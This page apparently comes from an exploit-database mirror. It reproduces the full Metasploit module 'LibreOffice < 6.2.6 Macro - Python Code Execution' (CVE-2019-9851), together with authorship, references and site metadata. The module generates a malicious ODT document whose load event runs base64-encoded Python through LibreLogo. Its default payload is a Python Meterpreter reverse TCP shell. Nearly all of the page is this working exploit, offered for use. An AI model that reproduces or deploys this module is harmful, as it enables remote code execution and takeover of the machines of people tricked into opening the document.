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"LibreOffice < 6.2.6 Macro - Python Code Execution (Metasploit)"

Author

LoadLow

Platform

multiple

Release date

2019-08-21

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'LibreOffice Macro Python Code Execution',
      'Description'     => %q{
        LibreOffice comes bundled with sample macros written in Python and
        allows the ability to bind program events to them.

        LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.

        This module generates an ODT file with a dom loaded event that,
        when triggered, will execute arbitrary python code and the metasploit payload.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Nils Emmerich',    # Vulnerability discovery and PoC
          'Shelby Pace',      # Base module author (CVE-2018-16858), module reviewer and platform-independent code
          'LoadLow',          # This msf module
          'Gabriel Masei'     # Global events vuln. disclosure
        ],
      'References'      =>
        [
          [ 'CVE', '2019-9851' ],
          [ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9848/' ],
          [ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9851/' ],
          [ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]
        ],
      'DisclosureDate'  => '2019-07-16',
      'Platform'        => 'python',
      'Arch'            => ARCH_PYTHON,
      'DefaultOptions'  => { 'Payload' => 'python/meterpreter/reverse_tcp' },
      'Targets'         => [ ['Automatic', {}] ],
      'DefaultTarget'   =>  0
    ))

    register_options(
    [
      OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt']),
      OptString.new('TEXT_CONTENT', [true, 'Text written in the document. It will be html encoded.', 'My Report']),
    ])
  end

  def gen_file
    text_content = Rex::Text.html_encode(datastore['TEXT_CONTENT'])
    py_code = Rex::Text.encode_base64(payload.encoded)
    @cmd = "exec(eval(str(__import__('base64').b64decode('#{py_code}'))))"
    @cmd = Rex::Text.html_encode(@cmd)

    fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))
    libre_file = ERB.new(fodt_file).result(binding())

    print_status("File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.")

    libre_file
  rescue Errno::ENOENT
    fail_with(Failure::NotFound, 'Cannot find template file')
  end

  def exploit
    fodt_file = gen_file

    file_create(fodt_file)
  end
end
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Release Date Title Type Platform Author
2019-08-21 "LibreOffice < 6.2.6 Macro - Python Code Execution (Metasploit)" remote multiple LoadLow
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47298/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47298/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47298/41663/libreoffice-626-macro-python-code-execution-metasploit/download/", "exploit_id": "47298", "exploit_description": "\"LibreOffice < 6.2.6 Macro - Python Code Execution (Metasploit)\"", "exploit_date": "2019-08-21", "exploit_author": "LoadLow", "exploit_type": "remote", "exploit_platform": "multiple", "exploit_port": null}
                    

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